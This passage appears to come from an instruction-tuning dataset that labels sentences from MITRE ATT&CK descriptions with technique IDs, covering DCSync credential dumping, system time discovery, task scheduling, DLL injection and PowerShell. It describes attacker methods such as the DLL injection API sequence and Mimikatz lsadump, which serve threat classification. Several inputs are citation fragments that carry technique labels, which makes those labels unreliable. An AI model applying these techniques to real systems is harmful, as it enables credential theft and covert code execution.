appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional custom tools likely exist as well.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional custom tools likely exist as well. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017)", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync. ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators.", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation:", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "InsiderThreat ChangeNTLM July 2017)", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: InsiderThreat ChangeNTLM July 2017) ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation:", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft NRPC Dec 2017)", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft NRPC Dec 2017) ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may gather the system time and/or time zone from a local or remote system.", "output": "T1124", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may gather the system time and/or time zone from a local or remote system. ### Response: T1124."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.", "output": "T1124", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. ### Response: T1124."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN System Time)(Citation: Technet Windows Time Service)", "output": "T1124", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN System Time)(Citation: Technet Windows Time Service) ### Response: T1124."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system.", "output": "T1124", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. ### Response: T1124."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>.(Citation:", "output": "T1124", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>.(Citation: ### Response: T1124."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Technet Windows Time Service)", "output": "T1124", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Technet Windows Time Service) ### Response: T1124."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd)", "output": "T1124", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd) ### Response: T1124."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation:", "output": "T1124", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: ### Response: T1124."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RSA EU12", "output": "T1124", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RSA EU12 ### Response: T1124."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)).", "output": "T1124", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). ### Response: T1124."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)", "output": "T1124", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb) ### Response: T1124."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation:", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet Task Scheduler Security)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet Task Scheduler Security) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110).", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation:", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux at)", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux at) ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003).", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM). ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands.", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)", "output": "T1053.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at) ### Response: T1053.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager.", "output": "T1035", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. ### Response: T1035."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done by either creating a new service or modifying an existing service.", "output": "T1035", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done by either creating a new service or modifying an existing service. ### Response: T1035."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.", "output": "T1035", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation. ### Response: T1035."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DLL injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DLL injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL).", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection)", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TechNet PowerShell)", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TechNet PowerShell) ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk. ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Administrator permissions are required to use PowerShell to connect to remote systems.", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Administrator permissions are required to use PowerShell to connect to remote systems. ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  PowerSploit, (Citation: Powersploit) and PSAttack.", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  PowerSploit, (Citation: Powersploit) and PSAttack. ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Github PSAttack)", "output": "T1086", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Github PSAttack) ### Response: T1086."}{"instruction": "List the MITRE techniques contained in the text.", "input": 